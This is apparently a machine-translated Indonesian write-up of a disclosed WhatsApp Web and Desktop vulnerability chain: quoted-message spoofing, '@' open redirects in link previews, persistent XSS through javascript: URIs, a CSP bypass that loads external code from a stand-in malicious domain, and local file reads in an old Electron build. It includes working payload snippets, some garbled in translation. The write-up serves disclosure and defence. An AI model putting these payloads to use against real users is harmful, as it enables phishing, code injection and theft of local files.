Beberapa kelemahan keamanan di Whatsapp Web
Beberapa kelemahan keamanan di Whatsapp Web. Sebanyak empat kelemahan keamanan kritis dalam versi untuk komputer PC dan Mac dari aplikasi pengiriman pesan WhatsApp, mereka mengekspos perangkat pengguna, yang dapat diakses oleh penyerang dengan mengirim pesan jahat.
Kerentanan, yang telah ditemukan oleh para peneliti dari perusahaan cybersecurity Perimeter X, mereka didasarkan pada 'Skrip lintas situs', lubang keamanan yang memungkinkan pihak ketiga untuk menyuntikkan kode Javascript atau yang serupa ke dalam aplikasi web.
Di WhatsApp, saat pengguna mengirim pesan yang berisi tautan, aplikasi menambahkan pratinjau dengan informasi tambahan, seperti nama halaman dan deskripsinya, sehingga penerima tahu di mana ia mengklik. Namun, data ini berasal dari pengirim pesan dan mereka dapat diubah secara jahat melalui Javascript di browser.
Menggunakan ini, seorang penyerang dapat menggunakan a pesan jahat yang dimodifikasi tetapi dengan tampilan yang sah, ubah URL tautan dan masukkan kode Java berbahaya yang disembunyikan melalui 'skrip lintas situs'.
Melalui teknik ini, penyerang dapat mengambil alih akses ke file sistem WhatsApp dan jalankan kode secara sewenang-wenang di perangkat melalui aplikasi pengguna yang menerima obrolan jahat.
Bug ini hanya ada di beberapa browser seperti pada Safari dan dalam versi Edge yang lebih lama, tetapi tidak pada orang lain berdasarkan Chromium, menurut penelitian, dan itu disebabkan oleh penggunaan di WhatsApp dari alat pengembangan aplikasi Electron, berdasarkan pada versi lama Chromium masih dipengaruhi oleh masalah.
Setelah menemukan kerentanan ini, para peneliti Perimeter X telah memberi tahu Facebook, perusahaan yang memiliki WhatsApp sejak 2014, dan bug ini telah diselesaikan melalui a patch keamanan di WhatsApp Web untuk PC dan Mac didistribusikan pada 21 Januari.
Pada 2017, saat bepergian di Peru, saya menemukan kelemahan keamanan yang diterbitkan oleh Check Point beberapa bulan kemudian. Cacat itu sederhana. Dalam kata-kata peneliti Check Point di artikel ini diterbitkan pada 2018, memungkinkan penyerang untuk "mengubah teks tanggapan orang lain, pada dasarnya memasukkan kata-kata ke mulutnya."
Itu hebat, tetapi saat itu saya tidak bisa berpikir untuk mengeksploitasi kesalahan lagi atau menemukan kegagalan terkait. Jadi, kecuali mengganggu teman-teman saya beberapa kali dalam obrolan grup kami, saya melepaskannya.
Setahun kemudian, saya memutuskan untuk melanjutkan penelitian. Saya benar-benar ingin menemukan kelemahan keamanan utama dalam layanan yang dikenal dan banyak digunakan, dan saya merasa bahwa WhatsApp adalah awal yang baik. Jadi saya mencobanya karena saya sudah memiliki beberapa petunjuk tentang kelemahan keamanan di aplikasi seluler dan web WhatsApp.
Saya tidak siap untuk apa yang dibawa beberapa bulan ke depan bersama mereka, tetapi saya dapat meyakinkan Anda bahwa itu adalah perjalanan yang menakjubkan. Saya berhasil menemukan empat kelemahan keamanan yang lebih unik di WhatsApp yang membawa saya pada XSS yang persisten dan bahkan membaca dari sistem file lokal, menggunakan satu pesan.
Ini adalah proses saya:
1. Temuan asli saya: «ubah teks tanggapan orang lain»
Pertama, mari kita bicara tentang apa yang saya temukan pertama kali, pada tahun 2017, karena ini adalah dasar dari penelitian ini.
Awalnya saya berpikir: «Ketika menggunakan situs web WhatsApp, saya dapat menemukan baris kode tempat objek yang berisi pesan metadata terbentuk, memanipulasi dan kemudian membiarkan aplikasi melanjutkan aliran alami pengiriman pesan, sehingga menciptakan pesan saya dengan mengabaikan mekanisme penyaringan antarmuka pengguna «.
Jadi, misalnya, dengan menggunakan teknik ini, saya dapat mengubah teks balasan ke pesan dan mengirimkannya, sesuatu yang tidak dapat saya capai dengan secara sah menggunakan antarmuka pengguna web WhatsApp. Saya menemukan garis itu dan berhasil melihat Objek yang berisi metadata pesan. Anda dapat menemukan baris ini saat mencari return Promise.callSynchronously (function ()seluruh kode dan atur breakpoint dalam var t = e.id;. Itu memiliki banyak bidang yang menarik, jadi kami akan fokus di sini di bidang yang relevan:
e = { __x_body: "Why would you say that?!", __x_type: "chat", __x_quotedMsg: { body: "I think you are the best!", type: "chat", mentionedJidList: (), isForwarded: false, labels: (), }, __x_quotedStanzaID: "3EB0E42AC64D3D9BC5E7", };
Jadi, pada dasarnya, saya menemukan itu hanya dengan menjalankan:
e.__x_quotedMsg.body = "I think you are the worst!"; e.__x_quotedStanzaID = e.__x_quotedStanzaID + "_";
Sebelum mengizinkan pesan terkirim dijalankan, Anda akan mendapatkan ini:
(Ini berfungsi untuk WhatsApp iOS / Android / Windows Desktop / Mac Desktop / Web)
Isi kutipan respons berasal dari pesan yang saya temukan dan tidak pernah benar-benar dikirim dalam percakapan saat ini. Itu hebat, tetapi tidak begitu kuat.
Apa lagi yang bisa saya bongkar? Bagaimana dengan pesan dengan spanduk pratinjau kaya?
2. Kegagalan berbahaya pengalihan terbuka di pesan dengan spanduk pratinjau kaya menggunakan «@»
Di sinilah penelitian ini menjadi jauh lebih menarik. Pesan dengan spanduk pratinjau kaya adalah pesan yang menyertakan spanduk dengan informasi tambahan tentang tautan di badan pesan. Jadi, misalnya, jika saya mengirim pesan dengan » https://facebook.com »Seperti tubuh Anda, penerima akan menerima ini:
Di WhatsApp, spanduk dibuat di sisi pengirim dan ini adalah poin penting untuk dipahami. Seseorang dapat dengan mudah memanipulasi properti spanduk sebelum mengirimkannya ke penerima. Resep hebat untuk masalah di sini!
Hal pertama yang saya lakukan adalah membuat pesan yang akan menyertakan spanduk yang tampak sah, tetapi alih-alih mengarahkan ulang ke domain lain hanya dengan mengganti tautan:
e.__x_body = e.__x_matchedText = "https://example.com";
Dan inilah yang saya dapat:
(Ini berfungsi untuk WhatsApp iOS / Android / Windows Desktop / Mac Desktop / Web)
Dingin! Sekarang, meskipun tampaknya spanduk itu berasal Facebook, mengklik tautan akan dialihkan ke https://example.com
Menjadi terbiasa dengan segala macam trik yang digunakan oleh aktor jahat di dunia web, saya bereksperimen dengan ide ini untuk melihat apakah pengalihan terbuka ini bisa lebih berbahaya:
e.__x_body = e.__x_matchedText = "Join Facebook! https://facebook.com+login_oage&welcome_to_facebook=true&(email protected)/2SfZikR Become a friend of mine!";
(Ini berfungsi untuk WhatsApp iOS / Android / Windows Desktop / Mac Desktop / Web)
Apakah Anda melihat apa yang saya lakukan? Saya berhasil tidak hanya mengacaukan tautan spanduk, tetapi juga merancang pesan dengan tautan yang tampaknya milik https://facebook.com, sementara tautan akan selalu dialihkan ke https://example.com!
Ini berbahaya karena tampaknya asli, karena baik banner maupun tautannya tampaknya milik https://facebook.com
Ini berfungsi berkat peran «@» yang dimainkan di Spesifikasi URL :
Tujuan «@» di URL adalah untuk mengirimkan nama pengguna dan kata sandi untuk domain yang dikunjungi sebagai berikut: https: // USERNAME: (dilindungi email). Seseorang dapat menyalahgunakan ini, seperti yang baru saja saya lakukan, dan mengganti nama pengguna dan kata sandi dengan hal lain: https: // (dilindungi email)Dan itu akan terus bekerja. Firefox adalah satu-satunya browser yang memperingatkan pengguna, secara default, jika metode ini digunakan tanpa memberikan nama pengguna dan kata sandi.
Dan kemudian saya menyadari: jika saya bisa memanipulasi pesan dan mengirim tautan, dapatkah saya gunakan javascript:URI?
3. Dari Open-Redirect ke Persistent-XSS using javascript:URI
Ya! Tetapi tidak sesederhana itu.
Pada awalnya, itulah yang saya lakukan:
e.__x_body = e.__x_matchedText = "javascript:alert(document.domain)";
Tapi itu tidak berhasil. WhatsApp tampaknya menjatuhkan spanduk di sisi penerima. Setelah beberapa upaya gagal, saya mendapat ide: mungkin ini terjadi karena WhatsApp melihat tautan yang terpasang pada spanduk dan mengharapkannya untuk menyertakan https:URI skema yang sah?
Jadi dengan menyalurkan peretas internal saya, saya melakukan ini:
e.__x_body = e.__x_matchedText = 'javascript:"https://example.com";alert(document.domain)';
DAN BEKERJA!
(Ini berfungsi untuk WhatsApp Windows Desktop / Mac Desktop / Web)
Saya mendapat XSS satu klik persisten!
Untungnya untuk WhatsApp, browser berbasis Chromium menambahkan mekanisme pertahanan javascript:URI ketika saya menemukan kerentanan ini. Sayangnya untuk WhatsApp, di browser lain seperti Safari dan Edge, kerentanan ini masih terbuka. Gambar di atas menggunakan Brave, versi browser berbasis Chromium sebelumnya.
Ketika Anda mengklik, pesan di aplikasi asli WhatsApp untuk perangkat seluler biasanya terbuka https://example.com di bukannya menjalankan XSS (jelas, karena XSS jarang relevan untuk aplikasi seluler asli).
Sekarang, saya tidak bisa mencapai keadaan di mana payload bukan bagian yang terlihat dari pesan. Ini karena WhatsApp memiliki bagian dalam kodenya yang memverifikasi jika konten tautan URI termasuk dalam isi pesan ketika pesan dimuat. Jika tidak ada kecocokan, WhatsApp akan melewati banner dan exploit tidak akan berfungsi. Yang terbaik yang dapat saya capai adalah membuat pesan cukup lama, sehingga fungsi "Baca selengkapnya …" diaktifkan dan memastikan bahwa muatan sebenarnya ada di bagian bawah badan pesan di mana Anda hanya bisa melihat jika Anda mengklik di «Baca selengkapnya …».
Saya harus memikirkan cara untuk membuat muatan yang sangat kecil yang akan memuat muatan yang lebih besar dari sumber yang berbeda, untuk membuat segala sesuatunya tidak berguna. Ini berarti mengabaikan aturan WhatsApp CSP, yang bukan tugas yang mudah.
4. Lewati aturan WhatsApp CSP untuk meningkatkan kekuatan Persistent-XSS
Memotong aturan CSP menjadi lebih mudah dengan Google CSP Evaluator . Cukup masukkan URL situs web tujuan di kotak teks, dan segera tunjukkan konfigurasi CSP Anda dan seberapa aman (atau tidak amannya) situs web tersebut:
Apakah kamu melihat itu object-src (hilang)di bawah sana? (😈)
Inilah yang akan saya lakukan. Menggunakan javascript:Trik, saya akan menyuntikkan muatan berikut ke dalam pesan jahat saya:
var payload = ` hard_expire_time.innerHTML += ''; onmessage=(e)=>{eval(JSON.parse(e.data))}; `; payload = `javascript:"https://facebook.com";eval(atob("${btoa(payload)}"))`; e.__x_body = e.__x_matchedText = payload;
Dan isinya https: //MY_MALICIOUS_DOMAIN/MY_PAYLOAD_IFRAME.htmlakan menjadi:
<html> <head>head> <body> <script> top.postMessage( JSON.stringify( "open('https://facebook.com'); alert('external payload');" ), "*"); script> body> html>
(Ini berfungsi untuk WhatsApp Web)
Apakah Anda melihat apa yang baru saja saya lakukan? Seperti object-srcpetunjuknya tidak ada, artinya saya bisa menggunakannya objekuntuk memuat iframe (ish) di sembarang sumber pilihan saya. Dengan begitu saya dapat menjalankan kode eksternal apa pun tanpa batas ukuran dan tanpa masalah! Semua yang masih harus dilakukan adalah mengeksekusi kode itu di web.whatsapp.comdomain dan tidak dalam domain iframe saya sendiri, jika tidak, itu akan sangat tidak berguna.
Untuk mencapai itu, saya cukup menggunakan XSS untuk memuat iframe dan kemudian mendengarkan pesan yang diposting oleh windows yang berbeda. Lalu saya menggunakan iframe untuk mengirim pesan di jendela atas dengan isi kode eksternal.
Jendela atas, tempat XSS dieksekusi, menerima pesan iframe, menganalisis muatan eksternal yang disediakan olehnya dan mengeksekusinya dalam konteks ( web.whatsapp.com).
Menangkan! Payload eksternal diperoleh dan dieksekusi dengan benar dalam konteks WhatsApp!
Oh dan itu hard_expire_time.innerHTMLmenipu? Itu adalah cara terpendek yang dapat saya pikirkan saat ini untuk membuat DOM memuat elemen Objek saya ( hard_expire_timeadalah elemen dalam DOM situs web).
5. Dari Persistent-XSS hingga membaca sistem file pada Mac / Windows dengan potensi CER
Anehnya, ini adalah bagian yang mudah. WhatsApp memiliki aplikasi desktop untuk Mac dan Windows.
Saya sangat skeptis tentang dapat menggunakan XSS hebat yang saya temukan di aplikasi desktop. Lagi pula, mereka mungkin tidak terbuat dari HTML dan JS, kan?
Saya mengklik pesan jahat yang sama yang saya gunakan di aplikasi web melalui aplikasi desktop dari Windows dan saya terkejut melihat ini:
(Ini berfungsi untuk WhatsApp Windows Desktop / Mac Desktop / Web)
WOW! Maksudku, itu document.domainbagian tidak benar – benar berfungsi, tetapi waspada ()pesta berhasil! Bagaimana itu mungkin ?!
Saya terhubung online, tahu betul bahwa saya akan menemukan jawaban, dan inilah yang dengan cepat saya temukan:
Jenis aplikasi ini ditulis menggunakan Elektron . Electron adalah platform hebat yang memungkinkan Anda membuat aplikasi "asli" menggunakan fitur web standar. Ini membuat banyak hal sangat mudah bagi perusahaan besar, karena memungkinkan mereka untuk memiliki kode sumber untuk aplikasi web mereka dan untuk aplikasi desktop asli. Elektron terus diperbarui bersama dengan platform yang menjadi dasarnya: Chromium.
Itu berarti XSS saya berfungsi karena ini adalah varian Chromium!
Tapi tunggu, sebelum saya tahu itu saya javascript:Trick tidak berfungsi di browser berbasis Chromium sejak patch baru-baru ini. Jadi mengapa XSS ini bekerja pada Electron?
Saya memutuskan untuk menggunakan XSS saya untuk memberi tahu agen pengguna aplikasi yang sedang berjalan, dan cacat keamanan utama berikut membingungkan saya:
(Ini berfungsi untuk WhatsApp Windows Desktop / Mac Desktop)
Untuk peneliti kerentanan yang berpengalaman, ada cukup data dalam pesan peringatan ini untuk segera mengidentifikasi potensi CER, jadi luangkan waktu sebentar dan pikirkanlah!
Seperti ini: Chrome / 69Saya tahu Chrome / 69Itu mendasarkan versi terbaru dari aplikasi desktop WhatsApp yang disediakan oleh WhatsApp. Kerentanan ini ditemukan ketika Chrome / 78Itu versi stabil! Beberapa versi sebelumnya Chrome / 78, kemampuan untuk menggunakan javascript:Trick telah ditambal, dan jika WhatsApp telah memperbarui aplikasi web Elektronnya dari 4.1.4 ke yang terakhir, yaitu 7.xx pada saat kerentanan ini ditemukan (!), XSS ini tidak akan pernah ada!
Dan yang lebih buruk: karena Chromium 69 relatif lama, dimungkinkan untuk mengeksploitasi RCE 1 hari! Ada lebih dari 5 CER berbeda dalam 1 hari di Chromium 69 atau lebih tinggi, Anda hanya perlu menemukan satu yang dipublikasikan dan menggunakannya melalui XSS persisten yang ditemukan di atas dan BAM: Eksekusi kode jarak jauh DAPATKAN!
Saya tidak meluangkan waktu untuk mengeksploitasi CER publik dan, oleh karena itu, saya tidak memiliki kesempatan untuk menunjukkan keberadaan kerentanan seperti itu, tetapi konsep teoretisnya adalah sebagai berikut: jika Anda menjalankan versi awal aplikasi rentan, seseorang dapat mengeksploitasi itu. kerentanan dan melakukan hal-hal buruk kepada Anda. Namun, saya menunjukkan bagaimana saya menggunakan ambil ()API, misalnya, untuk membaca file dari sistem operasi lokal sebagai konten C: Windows System32 drivers etc hostsfile dalam hal ini:
(Ini berfungsi untuk WhatsApp Windows Desktop / Mac Desktop)
Untuk beberapa alasan, aturan CSP tidak menjadi masalah dengan aplikasi berbasis Elektron, sehingga pencarian untuk muatan eksternal menggunakan sumber daya JavaScript sederhana berhasil. Ini adalah muatan yang saya gunakan XSS untuk mencari dan menjalankan dari server jahat jarak jauh saya:
alert(navigator.userAgent); (async function(){ const r = await fetch('file:/ const t = await r.text(); alert(t) }())
Dan itu dia. Ini adalah perjalanan saya yang lengkap, dari Open-Redirect yang sederhana, melalui Persistent-XSS dan bypass CSP ke pembacaan lintas-platform lengkap dari sistem file, yang paling berpotensi adalah eksekusi kode secara jarak jauh 🎉.
Kesimpulan utama dari penelitian ini
Berikut adalah beberapa kelemahan keamanan yang sangat serius yang harus dipelajari oleh semua perusahaan:
- Jika aplikasi Anda menggunakan spanduk pratinjau yang kaya dan spanduk tersebut dirancang di sisi pengirim, pemfilteran Anda di sisi penerima harus sempurna. Anda tidak dapat membiarkan URL aneh dimuat di sisi penerima tanpa memastikannya sah. Sial, jika aplikasi Anda umumnya membuat pesan di sisi klien, pemfilteran Anda di sisi penerima harus sempurna.
- Aturan CSP sangat penting dan bisa mencegah sebagian besar bencana ini. Jika aturan CSP dikonfigurasi dengan baik, daya yang diperoleh XSS ini akan jauh lebih rendah. Mampu menghindari konfigurasi CSP memungkinkan penyerang mencuri informasi berharga dari korban, memuat muatan eksternal dengan mudah dan banyak lagi!
- Jika Anda akan menggunakan Elektron, Anda HARUS memastikan bahwa itu diperbarui dengan setiap pembaruan Chromium. Dan ini sangat penting: Pembaruan Chromium bukan hanya fitur baru yang menarik, di sebagian besar pembaruan Chromium, kerentanan serius sedang diperbaiki! Ketika Chromium diperbarui, aplikasi berbasis Elektron Anda juga harus diperbarui, jika tidak, Anda akan membuat pengguna Anda rentan terhadap kerentanan serius tanpa alasan.
Ringkasan
Dan itu saja. Saya harus mengakui bahwa saya telah mengerahkan banyak upaya dan waktu dalam penyelidikan ini, tetapi saya senang mengatakan bahwa semuanya sepadan. Saya pikir ada beberapa ide yang sangat menarik di sini yang seharusnya menginspirasi Anda untuk mengeksplorasi jenis keamanan baru yang mungkin ada. Saya mendorong Anda untuk terus maju dan melakukannya dengan bertanggung jawab! Dan jika Anda berada di sisi lain permainan, gunakan artikel ini untuk memperkuat aplikasi Anda. Ini tahun 2020, tidak ada produk yang memungkinkan pembacaan lengkap sistem file dan berpotensi satu pesan RCE.
Facebook telah menambal CVE ini .
